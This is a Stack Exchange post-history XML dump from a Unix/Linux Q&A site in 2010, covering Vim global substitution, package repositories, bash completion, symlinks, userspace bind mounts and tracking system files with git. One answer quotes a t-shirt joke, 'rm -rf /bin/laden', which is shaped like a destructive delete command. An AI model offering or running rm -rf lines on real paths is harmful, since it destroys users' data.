  <row Id="3632" PostHistoryTypeId="1" PostId="1788" RevisionGUID="5d1c8e5a-2726-4220-98bc-eae52cbe7b44" CreationDate="2010-09-08T18:47:44.397" UserId="160" Text="Why does the substitution of newlines using g/re/p only apply to every other line in Vim?" />
  <row Id="3633" PostHistoryTypeId="3" PostId="1788" RevisionGUID="5d1c8e5a-2726-4220-98bc-eae52cbe7b44" CreationDate="2010-09-08T18:47:44.397" UserId="160" Text="évimà" />
  <row Id="3634" PostHistoryTypeId="2" PostId="1789" RevisionGUID="12286fe6-fb9f-4049-839e-ec5b3b9c1883" CreationDate="2010-09-08T18:50:36.613" UserId="195" Text="Seen on a t-shirt a while back:&#xD;&#xA;&#xD;&#xA;    rm -rf /bin/laden" />
  <row Id="3635" PostHistoryTypeId="16" PostId="1789" RevisionGUID="12286fe6-fb9f-4049-839e-ec5b3b9c1883" CreationDate="2010-09-08T18:50:36.613" UserId="-1" />
  <row Id="3636" PostHistoryTypeId="2" PostId="1790" RevisionGUID="dc82b321-b0d9-4f8c-8ee8-04ae223a9c0d" CreationDate="2010-09-08T19:07:51.050" UserId="912" Text="Is there some place which has the collection of all the latest Linux utilities (something like filehippo.com for Windows utilities)?&#xD;&#xA;&#xD;&#xA;I know I can use various download utilities similar to [**yum**][1], each of which would have their own repositories.&#xD;&#xA;&#xD;&#xA;I am wondering if there is any repository for Linux maintained anywhere that lets me download these utilities right from the browser?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Yellowdog_Updater,_Modified" />
  <row Id="3637" PostHistoryTypeId="1" PostId="1790" RevisionGUID="dc82b321-b0d9-4f8c-8ee8-04ae223a9c0d" CreationDate="2010-09-08T19:07:51.050" UserId="912" Text="Is there a Linux utilities repository online accessible from a web browser?" />
  <row Id="3638" PostHistoryTypeId="3" PostId="1790" RevisionGUID="dc82b321-b0d9-4f8c-8ee8-04ae223a9c0d" CreationDate="2010-09-08T19:07:51.050" UserId="912" Text="élinuxàéunixà" />
  <row Id="3639" PostHistoryTypeId="2" PostId="1791" RevisionGUID="c5c867c2-bf9e-43ee-a5fa-5ef01825da61" CreationDate="2010-09-08T19:40:57.447" UserId="73" Text="It would vary by distro. For example:&#xD;&#xA;&#xD;&#xA;* Ubuntu has [Ubuntu Packages](http://packages.ubuntu.com/)&#xD;&#xA;* Gentoo has [Gentoo Packages](http://packages.gentoo.org/)&#xD;&#xA;* Arch has [AUR](http://aur.archlinux.org/)&#xD;&#xA;" />
  <row Id="3640" PostHistoryTypeId="5" PostId="1786" RevisionGUID="2a8631ec-8379-46fa-a3eb-b6fb1a295dba" CreationDate="2010-09-08T19:50:53.830" UserId="1327" Comment="added details" Text="When I *ssh* into a **OS X** computer on my network the session lasts until the **OS X** goes into **sleep** mode.&#xD;&#xA;&#xD;&#xA;Is there a way to prevent this from happening during my *SSH* session? ( Appart from physically bumping the mouse or typing keys, or manually disabling the sleep function )&#xD;&#xA;&#xD;&#xA;EDIT: The ssh session would normally be a simple sshfs mount." />
  <row Id="3641" PostHistoryTypeId="2" PostId="1792" RevisionGUID="eac39cca-3279-4f87-9feb-0e9641abe43d" CreationDate="2010-09-08T19:54:26.460" UserId="885" Text="All package management systems such as apt, yum, etc. download the packages from the Internet (usually from the web, sometimes via FTP). You can find out where your system's package manager looks for its downloads and go there.&#xD;&#xA;&#xD;&#xA;Many distributions have a web interface where you can find information about packages (search, browse changelogs, see bug reports, etc). For example http://packages.debian.org/ for Debian, http://www.freebsd.org/ports/index.html for FreeBSD, etc.&#xD;&#xA;&#xD;&#xA;Note that since there are many variants of unix, a single binary won't work on all of them. So usually you need to find a binary that's compiled for your distribution and architecture. Most places that collect such binaries are specific to one distribution. &#xD;&#xA;&#xD;&#xA;There are a few distribution-independent places with collections of free software for unix, but they tend to have only sources. The biggest one I'm aware of is [Freshmeat](http://freshmeat.net/).&#xD;&#xA;" />
  <row Id="3642" PostHistoryTypeId="2" PostId="1793" RevisionGUID="bc3d12c5-b12c-4aeb-9c10-51f1a3147fdf" CreationDate="2010-09-08T20:02:18.363" UserId="1339" Text="Many software projects have their hosting and packages for various distributions at [Sourceforge][1] or [Google Code][2].&#xD;&#xA;Also [Freshmeat][3] could be considered as a directory for free software.&#xD;&#xA;The most of them let you download packages for your distribution or checkout/clone their repository.&#xD;&#xA;&#xD;&#xA;But I see no reason why somebody should maintain such a site. There is no advantage in using your browser for download some utilities if you want to install them in your system afterwards.&#xD;&#xA;&#xD;&#xA;This is exactly the job of the packet management of your distribution and most of them do a good job at this :) In most cases there exist various wrapper tools for package management in all flavors.&#xD;&#xA;&#xD;&#xA;For example in Arch there is the basic package management tool called pacman. If I want to install utility foo, I simply have to type `pacman -S foo` and everything is installed. If tehre are not enough packages provided I can search in the AUR (Arch User Repository). I can use `yaourt` which is a wrapper for pacman or simply browse the [AUR Homepage][4]. On Debian you use `apt-get` or `aptitude`, etc.&#xD;&#xA;&#xD;&#xA;The FreeBSD packages are accessible also via the system tools or via the [Ports Homepage][5].&#xD;&#xA;&#xD;&#xA;So why should I want to browse any other homepage to download any utilities? If my package repository doesn't have it, its most of the time a small and unpopular project which I most likely won't find at any other &quot;repository&quot; on the net.&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/&#xD;&#xA;  [2]: http://code.google.com/&#xD;&#xA;  [3]: http://freshmeat.net/&#xD;&#xA;  [4]: http://aur.archlinux.org/&#xD;&#xA;  [5]: http://www.freebsd.org/ports/" />
  <row Id="3643" PostHistoryTypeId="2" PostId="1794" RevisionGUID="727ba5e2-0e39-48a9-a535-b5aa69838c7b" CreationDate="2010-09-08T20:07:32.877" UserId="1582" Text="If you are using gnome-terminal you can get the background color for any profile, in this case for the Default profile as&#xD;&#xA;&#xD;&#xA;       $ gconftool-2 --get /apps/gnome-terminal/profiles/Default/background_color&#xD;&#xA;       #E12FE12FC74D&#xD;&#xA;&#xD;&#xA;then you can decide how to set your prompt accordingly." />
  <row Id="3645" PostHistoryTypeId="2" PostId="1796" RevisionGUID="479cbfce-eaba-4d61-a89d-74c880aba11e" CreationDate="2010-09-08T20:18:48.277" UserDisplayName="Wolf" Text="At least on systems I've used, more exits automatically when you reach the end of the file; less requires you to exit explicitly." />
  <row Id="3646" PostHistoryTypeId="6" PostId="1790" RevisionGUID="83a058a0-0338-4f51-b716-de9e9f2aa88c" CreationDate="2010-09-08T20:32:06.170" UserId="1339" Comment="edited tags" Text="élinuxàéunixàépackagingà" />
  <row Id="3647" PostHistoryTypeId="2" PostId="1797" RevisionGUID="45f35dc3-0ffc-4136-8295-ca49e924631c" CreationDate="2010-09-08T20:53:26.847" UserId="885" Text="To understand what's going on at this level of detail, I think you have to reach for the source code. So, citing `vim-7.1.314/src/ex_cmds.c` (comment at the head of the definition of `ex_global()`):&#xD;&#xA;&#xD;&#xA;&gt;This is implemented in two passes: first we scan the file for the pattern and&#xD;&#xA;set a mark for each line that (not) matches. secondly we execute the command&#xD;&#xA;for each line that has a mark. This is required because after deleting&#xD;&#xA;lines we do not know where to search for the next match.&#xD;&#xA;&#xD;&#xA;Thus, if you delete a line in the `:g`'ed command, the mark for this line goes away too. If you create a line in the `:g`'ed command, it won't be marked, so the command won't execute on it. In your example, line 3 is joined with line 2, so the mark on line 3 disappears, and the next mark after line 2 is the one originally put on line 4.&#xD;&#xA;&#xD;&#xA;Also, `ex_global` sets the `global_busy` variable, which causes a few commands, including `:s`, to behave slightly differently. I don't think the difference is relevant here though.&#xD;&#xA;" />
  <row Id="3649" PostHistoryTypeId="6" PostId="1781" RevisionGUID="e1f3aeae-8829-4350-a4b0-ac71ca6635eb" CreationDate="2010-09-08T21:46:48.793" UserId="29" Comment="add corresponding hard-link tag" Text="ésymlinkàéhardölinkà" />
  <row Id="3650" PostHistoryTypeId="5" PostId="1791" RevisionGUID="547078a5-7ece-4216-ae02-02f7546c3a2c" CreationDate="2010-09-08T22:00:03.893" UserId="73" Comment="added 64 characters in body" Text="It would vary by distro. For example:&#xD;&#xA;&#xD;&#xA;* Ubuntu has [Ubuntu Packages](http://packages.ubuntu.com/)&#xD;&#xA;* Gentoo has [Gentoo Packages](http://packages.gentoo.org/)&#xD;&#xA;* Arch has [Arch Package Database](http://www.archlinux.org/packages/) and [AUR](http://aur.archlinux.org/)&#xD;&#xA;" />
  <row Id="3651" PostHistoryTypeId="10" PostId="1785" RevisionGUID="beb65253-9f07-4fba-8466-7e830b63e494" CreationDate="2010-09-08T23:07:07.567" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="3652" PostHistoryTypeId="5" PostId="1785" RevisionGUID="1daf2ffb-bd03-4cbc-bba5-a2943a0957dc" CreationDate="2010-09-08T23:07:07.707" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Linux Kernel: Good beginners&amp;#39; tutorial](http://unix.stackexchange.com/questions/1003/linux-kernel-good-beginners-tutorial)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;What **resources** are available if I wanted to *develop*, *change* and *understand* **device drivers**. " />
  <row Id="3653" PostHistoryTypeId="5" PostId="80" RevisionGUID="585cd5f9-75ab-452f-bbc5-2017d92b6db9" CreationDate="2010-09-08T23:09:10.057" UserId="73" Comment="added 9 characters in body; edited title" Text="I've worked on *nix environments for the last four years as a application developer (mostly in C).&#xD;&#xA;&#xD;&#xA;Please suggest some books/blogs etc. for improving my *nix internals knowledge." />
  <row Id="3654" PostHistoryTypeId="4" PostId="80" RevisionGUID="585cd5f9-75ab-452f-bbc5-2017d92b6db9" CreationDate="2010-09-08T23:09:10.057" UserId="73" Comment="added 9 characters in body; edited title" Text="Recommended reading to better understand unix/linux internals " />
  <row Id="3658" PostHistoryTypeId="2" PostId="1799" RevisionGUID="e80c59e3-4982-45ee-bc75-8a253799df04" CreationDate="2010-09-09T00:26:30.397" UserId="29" Text="Malware has been known to work via wine... but from memory it has mostly been limited to what you mount in wine, and is not capable of working once wine is off. Whatever you do, do not mount `/` in wine. Anything you mount could get infected, so I recommended mounting as little as possible, lest your mp3's become viral." />
  <row Id="3659" PostHistoryTypeId="2" PostId="1800" RevisionGUID="ad8a9a2d-bfe3-499c-9417-a6d3dbadf218" CreationDate="2010-09-09T00:52:32.940" UserId="1571" Text="Is there a way to have bash know exactly what to display when you double tab? For example I have a python script `scpy` which requires a couple arguments. For example like `apt-get `, if you double tab gives you &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;autoclean        build-dep        clean            dselect-upgrade  purge            source           upgrade&#xD;&#xA;autoremove       check            dist-upgrade     install          remove           update  &#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Is there a way to do that for your own scripts/programs? Do I need to wrap my python script in a bash script?" />
  <row Id="3660" PostHistoryTypeId="1" PostId="1800" RevisionGUID="ad8a9a2d-bfe3-499c-9417-a6d3dbadf218" CreationDate="2010-09-09T00:52:32.940" UserId="1571" Text="Custom autocomplete" />
  <row Id="3661" PostHistoryTypeId="3" PostId="1800" RevisionGUID="ad8a9a2d-bfe3-499c-9417-a6d3dbadf218" CreationDate="2010-09-09T00:52:32.940" UserId="1571" Text="ébashà" />
  <row Id="3662" PostHistoryTypeId="2" PostId="1801" RevisionGUID="58e175c7-d0e2-423b-922a-79cc1e00c0c9" CreationDate="2010-09-09T01:05:06.353" UserId="1585" Text="Hi all, I'm trying to use some fairly old hardware (purchased ~2000) to have hooked up to my tv full time and I'm looking for advice on which distro to use. I've listed my hardware specs and my requirements.&#xD;&#xA;&#xD;&#xA;Hardware Specs:&#xD;&#xA;&#xD;&#xA; - Pentium 4 1.9 GHz&#xD;&#xA; - 765 mB RAM&#xD;&#xA; - NV11 [GeForce2 MX/MX 400] Graphics Card&#xD;&#xA; - more available if needed, not sure what else to list though&#xD;&#xA;&#xD;&#xA;Machine Requirements:&#xD;&#xA;&#xD;&#xA; - Capable of streaming music/video (a functional browser)&#xD;&#xA; - Easy install&#xD;&#xA; - Able to play out to a large screen (~30 inches)&#xD;&#xA; - Capable of playing dvd's/music from harddrive.&#xD;&#xA; - Extras that would be nice: ssh support, able to run as a LAMP, able to run as a File Server. &#xD;&#xA;&#xD;&#xA;Based on my machine requirements and hardware specs, is this possible? Which distro would you recommend? &#xD;&#xA;&#xD;&#xA;I would ideally use Ubuntu Server+GUI but I've been having trouble with the install and I think it may be due to the aging hardware.&#xD;&#xA;&#xD;&#xA;--" />
  <row Id="3663" PostHistoryTypeId="1" PostId="1801" RevisionGUID="58e175c7-d0e2-423b-922a-79cc1e00c0c9" CreationDate="2010-09-09T01:05:06.353" UserId="1585" Text="Trying to use an old pc for home theater PC, need advice!" />
  <row Id="3664" PostHistoryTypeId="3" PostId="1801" RevisionGUID="58e175c7-d0e2-423b-922a-79cc1e00c0c9" CreationDate="2010-09-09T01:05:06.353" UserId="1585" Text="éserveràélightweightà" />
  <row Id="3665" PostHistoryTypeId="2" PostId="1802" RevisionGUID="ae839a6c-d4a2-4e62-ba14-283e5cf4b367" CreationDate="2010-09-09T01:13:37.680" UserId="1207" Text="The easiest way of doing this is to include a shell script in `/etc/bash_completion.d/`.  The basic structure of this file is a simple function that performs the completion and then invocation of `complete` which is a bash builtin.  Rather than go into detail on how to use `complete`, I suggest you read [An Introduction to Bash Completion][1].  Part 1 covers the basics and Part 2 gets into how you would go about writing a completion script.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian-administration.org/article/An_introduction_to_bash_completion_part_1" />
  <row Id="3666" PostHistoryTypeId="2" PostId="1803" RevisionGUID="b43301cf-de34-4c3e-a9ed-9130f94e88fb" CreationDate="2010-09-09T01:16:07.343" UserId="138" Text="Rather than start from a standard Linux distro and add what you need on top, this sort of task calls for a specialized distro.&#xD;&#xA;&#xD;&#xA;I've heard good things about &lt;a href=&quot;http://www.linuxmce.org/&quot;&gt;LinuxMCE&lt;/a&gt;.  It's a customized version of Kubuntu with many media center and home automation add-on packages, all nicely integrated into a coherent whole." />
  <row Id="3667" PostHistoryTypeId="5" PostId="1802" RevisionGUID="d7de0ff0-abe2-4295-bc51-ec32d9678041" CreationDate="2010-09-09T02:00:59.433" UserId="1207" Comment="added information about man page" Text="The easiest way of doing this is to include a shell script in `/etc/bash_completion.d/`.  The basic structure of this file is a simple function that performs the completion and then invocation of `complete` which is a bash builtin.  Rather than go into detail on how to use `complete`, I suggest you read [An Introduction to Bash Completion][1].  Part 1 covers the basics and Part 2 gets into how you would go about writing a completion script.&#xD;&#xA;&#xD;&#xA;A denser description of bash completion can be found in the &quot;Programmable Completion&quot; section of `man bash` (you can type &quot;/Programmable Completion&quot; and then press 'n' a few times to get there quickly.  Or, if you are feeling luck, &quot;g 2140 RETURN&quot;).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian-administration.org/article/An_introduction_to_bash_completion_part_1" />
  <row Id="3668" PostHistoryTypeId="2" PostId="1804" RevisionGUID="c301ada7-a8c8-40ae-878c-b2c5f0d7bc2a" CreationDate="2010-09-09T05:23:02.657" UserId="366" Text="The general purpose distros have had a lot of recent improvements that have started to cut out the older hardware. Linux may still technically support 486 CPUs, but you're not going to get anything like graphics support out of it, which is what most users are looking for these days. &#xD;&#xA;&#xD;&#xA;Hopefully your TV can take a VGA input, otherwise you'll be stuck with SD. That P4 is still more performant than the previous generation of Atom processors, so that should give you some benchmark to base expectations on. Flash on Linux is still pretty CPU-hungry, so you're probably not going to be able to watch more than 480p video even if you can crank your screen size higher then that.&#xD;&#xA;&#xD;&#xA;DVD playback can be done in software, but may be complex enough to push that box to its limit." />
  <row Id="3669" PostHistoryTypeId="2" PostId="1805" RevisionGUID="ddd560f3-fa3a-44d9-9d77-c9478d2ac83f" CreationDate="2010-09-09T05:50:37.577" UserId="1107" Text="[Gilles](http://unix.stackexchange.com/questions/1788/why-does-the-substitution-of-newlines-using-g-re-p-only-apply-to-every-other-line/1797#1797) has answered your “why?”, but I thought you might be interested in a simpler way to do what you wanted.&#xD;&#xA;&#xD;&#xA;&gt; I want newlines after every `bar`.&#xD;&#xA;&#xD;&#xA;Instead of replacing the line terminating character (thus joining the lines and losing the internal mark, per Gilles’ answer), add a blank line right before the end of each matching line. Use `$` to get a zero-width match right before the end of the line and insert a line break there (also no need for the `/g` modifier since the pattern will only match once per line).&#xD;&#xA;&#xD;&#xA;    :g/bar/s/$/\r/" />
  <row Id="3670" PostHistoryTypeId="2" PostId="1806" RevisionGUID="946ee78b-a340-4996-b978-abea0f36f0f1" CreationDate="2010-09-09T06:01:12.990" UserId="1588" Text="The shell can expand ~ to your home directory.  $HOME usually has the same deal, but often you want to refer to the current users home directory from a context that may not support such expansion.&#xD;&#xA;&#xD;&#xA;I have had config files where $HOME works but ~ doesn't and vice versa.&#xD;&#xA;&#xD;&#xA;I would guess that fuse could provide something along these lines,  something like /var/myself -&gt; $HOME&#xD;&#xA;&#xD;&#xA;with that I could place values in config files to point to things like /var/myself/backdrops/pornography/wtf/yarly.jpg&#xD;&#xA;&#xD;&#xA;Is there something like this already.   If not are there good reasons for there not being something like this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3671" PostHistoryTypeId="1" PostId="1806" RevisionGUID="946ee78b-a340-4996-b978-abea0f36f0f1" CreationDate="2010-09-09T06:01:12.990" UserId="1588" Text="Is there a standard symbolic link to the current users home directory?" />
  <row Id="3672" PostHistoryTypeId="3" PostId="1806" RevisionGUID="946ee78b-a340-4996-b978-abea0f36f0f1" CreationDate="2010-09-09T06:01:12.990" UserId="1588" Text="ésymlinkà" />
  <row Id="3682" PostHistoryTypeId="5" PostId="1806" RevisionGUID="b4005b95-36e5-4b75-ab4e-707b71416c92" CreationDate="2010-09-09T06:52:53.590" UserId="73" Comment="added 13 characters in body" Text="The shell can expand `~` to your home directory.  `$HOME` usually has the same deal, but often you want to refer to the current users home directory from a context that may not support such expansion.&#xD;&#xA;&#xD;&#xA;I have had config files where `$HOME` works but `~` doesn't and vice versa.&#xD;&#xA;&#xD;&#xA;I would guess that fuse could provide something along these lines,  something like `/var/myself` -&gt; `$HOME`&#xD;&#xA;&#xD;&#xA;With that I could place values in config files to point to things like `/var/myself/backdrops/pornography/wtf/yarly.jpg`&#xD;&#xA;&#xD;&#xA;Is there something like this already?   If not, are there good reasons for there not being something like this?&#xD;&#xA;" />
  <row Id="3683" PostHistoryTypeId="2" PostId="1809" RevisionGUID="f884ac46-f5f6-426d-aa97-0f0db9bd2e5b" CreationDate="2010-09-09T07:49:03.883" UserId="305" Text="You can get the pid of requestin user and ask system of his/her home directory. So it is possible.&#xD;&#xA;&#xD;&#xA;However I'm not sure if there is no SUID programs that would assume FS as static." />
  <row Id="3684" PostHistoryTypeId="2" PostId="1810" RevisionGUID="8f10e469-3fc4-4ebe-9021-0b2062c6a720" CreationDate="2010-09-09T08:28:22.613" UserId="550" Text="I understand your concern but the answer is &quot;no&quot; there is not such thing. The usual is ask the OS the user's home path, or get the $HOME variable. &#xD;&#xA;&#xD;&#xA;All these options needs always some coding from the application. A lot of apps, like bash, offer the &quot;alias&quot; ~ (open(2) does not translate that). &#xD;&#xA;&#xD;&#xA;Of cuorse a vfs or a fuse module could be implemented to do this. Probably there is something to do that, I am going to ask that!&#xD;&#xA;&#xD;&#xA;But is it really needed? You can use a workaround like:&#xD;&#xA;&#xD;&#xA; - Create an script to start the program that links the $HOME to a relative path or a known location.   &#xD;&#xA; - Use pam_exec to link the $HOME dir to a known location http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_exec.html " />
  <row Id="3685" PostHistoryTypeId="2" PostId="1811" RevisionGUID="ca421d7b-ad03-4c47-91b1-e236dd961b27" CreationDate="2010-09-09T08:42:16.430" UserId="550" Text="For a user process, I want to mount a directory in other location but in user space without root privilieges. Something like mount --bind /origin /dest, but with a vfs wrapper. Like a usermode fine-tuned chroot.&#xD;&#xA;&#xD;&#xA;The program would wrapper the syscalls to files to &quot;substitute&quot; the paths needed. It could be called with a command line like:&#xD;&#xA;&#xD;&#xA;bindvfs /fake-home:/home ls /home&#xD;&#xA;&#xD;&#xA;I am sure that this alredy exists! :)&#xD;&#xA;" />
  <row Id="3686" PostHistoryTypeId="1" PostId="1811" RevisionGUID="ca421d7b-ad03-4c47-91b1-e236dd961b27" CreationDate="2010-09-09T08:42:16.430" UserId="550" Text="Is there a linux vfs tool that allows bind a directory in different location (like mount --bind) in user space?" />
  <row Id="3687" PostHistoryTypeId="3" PostId="1811" RevisionGUID="ca421d7b-ad03-4c47-91b1-e236dd961b27" CreationDate="2010-09-09T08:42:16.430" UserId="550" Text="élinuxàéchrootà" />
  <row Id="3688" PostHistoryTypeId="2" PostId="1812" RevisionGUID="dcc9e81c-512a-4a78-b445-434a9ea9792f" CreationDate="2010-09-09T08:43:04.990" UserId="1289" Text="This might sound like a really dumb question but I'm really in the shade here. &#xD;&#xA;I tried running objdump on the lib to figure it out but no success. Is there a way &#xD;&#xA;(a command) to find out what a library does(what is it good for)?" />
  <row Id="3689" PostHistoryTypeId="1" PostId="1812" RevisionGUID="dcc9e81c-512a-4a78-b445-434a9ea9792f" CreationDate="2010-09-09T08:43:04.990" UserId="1289" Text="what does libgcc_s.so contain?" />
  <row Id="3690" PostHistoryTypeId="3" PostId="1812" RevisionGUID="dcc9e81c-512a-4a78-b445-434a9ea9792f" CreationDate="2010-09-09T08:43:04.990" UserId="1289" Text="élinuxàélibrariesà" />
  <row Id="3692" PostHistoryTypeId="2" PostId="1813" RevisionGUID="1991faf6-c93a-40ed-87a6-90190325fffc" CreationDate="2010-09-09T10:24:42.523" UserId="446" Text="Whenever I'm in `vimdiff` mode, my PuTTY session slows down considerably. This is especially noticeable when I try to scroll down many lines by keeping &lt;kbd&gt;j&lt;/kbd&gt; pressed.&#xD;&#xA;&#xD;&#xA;1. Why is it so slow in comparison to regular Vim running under `vsplit`? I realize it matches across lines and color-highlights the differences, but does that account for all the speed differences?&#xD;&#xA;2. What can I do about it? I would like to keep line matches across files (and color highlighting as well). What settings can I change to help speed up the performance of my `vimdiff` utility?" />
  <row Id="3693" PostHistoryTypeId="1" PostId="1813" RevisionGUID="1991faf6-c93a-40ed-87a6-90190325fffc" CreationDate="2010-09-09T10:24:42.523" UserId="446" Text="Why is vimdiff so slow?" />
  <row Id="3694" PostHistoryTypeId="3" PostId="1813" RevisionGUID="1991faf6-c93a-40ed-87a6-90190325fffc" CreationDate="2010-09-09T10:24:42.523" UserId="446" />
  <row Id="3695" PostHistoryTypeId="2" PostId="1814" RevisionGUID="765ca5f0-d9f0-434e-aeef-84e856d33080" CreationDate="2010-09-09T11:17:17.540" UserId="210" Text="It's [GCC's runtime librar][1]y, which contains some low-level functions that GCC emits calls to (like `long long` division on 32-bit CPUs).&#xD;&#xA;&#xD;&#xA;  [1]: http://gcc.gnu.org/onlinedocs/gccint/Libgcc.html" />
  <row Id="3696" PostHistoryTypeId="2" PostId="1815" RevisionGUID="76818044-2046-4dcd-a620-78b3719bd576" CreationDate="2010-09-09T11:36:49.193" UserId="1447" Text="See The [Linux Documentation Project][1]. Particularly the &quot;Linux Kernel module guide&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tldp.org" />
  <row Id="3697" PostHistoryTypeId="2" PostId="1816" RevisionGUID="34ed8655-f44b-4f3f-a1b4-fc44d838bc67" CreationDate="2010-09-09T13:35:52.620" UserId="1327" Text="I have a bash script, called cgit, that acts as **git** for one specific git **repo** ( located at `/.git` ):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    cd /;&#xD;&#xA;    sudo git $@ &gt; /dev/stdout&#xD;&#xA;&#xD;&#xA;I use it to keep track of imporant system files&#xD;&#xA;&#xD;&#xA;    cgit add /etc/rc.conf&#xD;&#xA;&#xD;&#xA;The trouble is when I try to add content relative to the directory I'm in, for example:&#xD;&#xA;&#xD;&#xA;    cd /home/user;&#xD;&#xA;    cgit add .ssh/config&#xD;&#xA;&#xD;&#xA;**cgit** would try and add `/.ssh/config` to the `/.git` repo.&#xD;&#xA;&#xD;&#xA;Any suggestions for to work-around?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3698" PostHistoryTypeId="1" PostId="1816" RevisionGUID="34ed8655-f44b-4f3f-a1b4-fc44d838bc67" CreationDate="2010-09-09T13:35:52.620" UserId="1327" Text="Using git to track system files" />
  <row Id="3699" PostHistoryTypeId="3" PostId="1816" RevisionGUID="34ed8655-f44b-4f3f-a1b4-fc44d838bc67" CreationDate="2010-09-09T13:35:52.620" UserId="1327" Text="ébashàégità" />
  <row Id="3700" PostHistoryTypeId="2" PostId="1817" RevisionGUID="6cd9e158-8aa8-4069-9e7f-8733d2de33c4" CreationDate="2010-09-09T13:38:08.403" UserId="1184" Text="VFS already allows for non-root mounting of filesystems.  You can add the `user` or `users` option to the fstab entry and make sure `vfs.usermount=1` is in `/etc/sysctl`.&#xD;&#xA;&#xD;&#xA;None of this will give you chroot-like controls however.  The `bind` option isn't going to change permissions or allow for an 'alternate' access, this is a second mtab entry for the same exact filesystem and contents.  Modifications in the bind mount affect the original.&#xD;&#xA;&#xD;&#xA;I'd make sure you clarify your end goal before moving further." />
  <row Id="3701" PostHistoryTypeId="2" PostId="1818" RevisionGUID="33451848-6a9d-41ff-9e34-a2bf359420d4" CreationDate="2010-09-09T13:40:07.793" UserId="1327" Text="How do I remove a file from a git repositorie's **index** without removing the file from the working tree?&#xD;&#xA;&#xD;&#xA;If I had a file `./notes.txt` that was being tracked by git, I could run `git rm notes.txt`. But that would remove the file. I'd rather want git just to stop tracking the file." />
  <row Id="3702" PostHistoryTypeId="1" PostId="1818" RevisionGUID="33451848-6a9d-41ff-9e34-a2bf359420d4" CreationDate="2010-09-09T13:40:07.793" UserId="1327" Text="How to remove a file from the git index" />
  <row Id="3703" PostHistoryTypeId="3" PostId="1818" RevisionGUID="33451848-6a9d-41ff-9e34-a2bf359420d4" CreationDate="2010-09-09T13:40:07.793" UserId="1327" Text="égità" />
  <row Id="3705" PostHistoryTypeId="2" PostId="1820" RevisionGUID="f5e1486e-e9de-4437-9240-25e516ca0f07" CreationDate="2010-09-09T13:54:35.533" UserId="252" Text="You could just use `git rm --cached notes.txt`. This will keep the file but remove it from the index." />
  <row Id="3706" PostHistoryTypeId="2" PostId="1821" RevisionGUID="637f8d39-6a5f-4066-86bf-96d606d20853" CreationDate="2010-09-09T14:00:06.177" UserId="252" Text="I'd update your cgit script to use `--git-dir`.&#xD;&#xA;From the man pages:&#xD;&#xA;&#xD;&#xA;       --git-dir=&lt;path&gt;&#xD;&#xA;           Set the path to the repository. This can also be controlled by&#xD;&#xA;           setting the GIT_DIR environment variable. It can be an absolute&#xD;&#xA;           path or relative path to current working directory.&#xD;&#xA;&#xD;&#xA;So it would become:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    sudo git --git-dir=/.git $@ &gt; /dev/stdout&#xD;&#xA;&#xD;&#xA;FTR, I haven't tried it." />
  <row Id="3707" PostHistoryTypeId="2" PostId="1822" RevisionGUID="c0d530ba-e26c-4ed2-8631-fb04e3844f94" CreationDate="2010-09-09T14:43:21.790" UserId="274" Text="The [parrot](http://www.cse.nd.edu/~ccl/software/parrot/) program can&#xD;&#xA;do what you ask for: intercept system calls and redirect certain&#xD;&#xA;paths (e.g., all paths starting with `/anonftp` are remapped to&#xD;&#xA;transparently access remote files over FTP).  It also runs entirely in&#xD;&#xA;userspace.&#xD;&#xA;&#xD;&#xA;However, despite an impressive array of common and uncommon network&#xD;&#xA;protocols, `parrot` does not have any module to do simple&#xD;&#xA;filesystem-&gt;filesystem rewriting like you ask for.  That should be&#xD;&#xA;quite simple to add, if you know some C language programming.&#xD;&#xA;&#xD;&#xA;Alternatively, [bindfs](http://code.google.com/p/bindfs/) (which&#xD;&#xA;runs on top of [FUSE](http://fuse.sourceforge.net/)), works like a&#xD;&#xA;`mount --bind` in userspace.  (But this goes in the reverse direction&#xD;&#xA;relative to re-directing `/home` to `/fake-home` as you mention in your question.)&#xD;&#xA;" />
  <row Id="3709" PostHistoryTypeId="2" PostId="1823" RevisionGUID="311d0e3c-4d87-43f4-9eb4-451ac6be8ed4" CreationDate="2010-09-09T15:51:57.347" UserId="1090" Text="I use symbolic link quite often, but after my moving the original file, I lose the track of the symbolic link. I also use symbolic link for keeping track of some files in the same directory, but again, I lose the track. &#xD;&#xA;&#xD;&#xA; * Is there any way (tool/method) to keep track of the symbolic link no matter what change I make? Is the hard link the only way for this?&#xD;&#xA; * Is there any way to make the symbolic link in a relative way so that when I move the directory that contains both the original and link, the link should work. " />
  <row Id="3710" PostHistoryTypeId="1" PostId="1823" RevisionGUID="311d0e3c-4d87-43f4-9eb4-451ac6be8ed4" CreationDate="2010-09-09T15:51:57.347" UserId="1090" Text="Keep tracking of the symbolic links?" />
  <row Id="3711" PostHistoryTypeId="3" PostId="1823" RevisionGUID="311d0e3c-4d87-43f4-9eb4-451ac6be8ed4" CreationDate="2010-09-09T15:51:57.347" UserId="1090" Text="éhardwareàésymbolicàélinkà" />
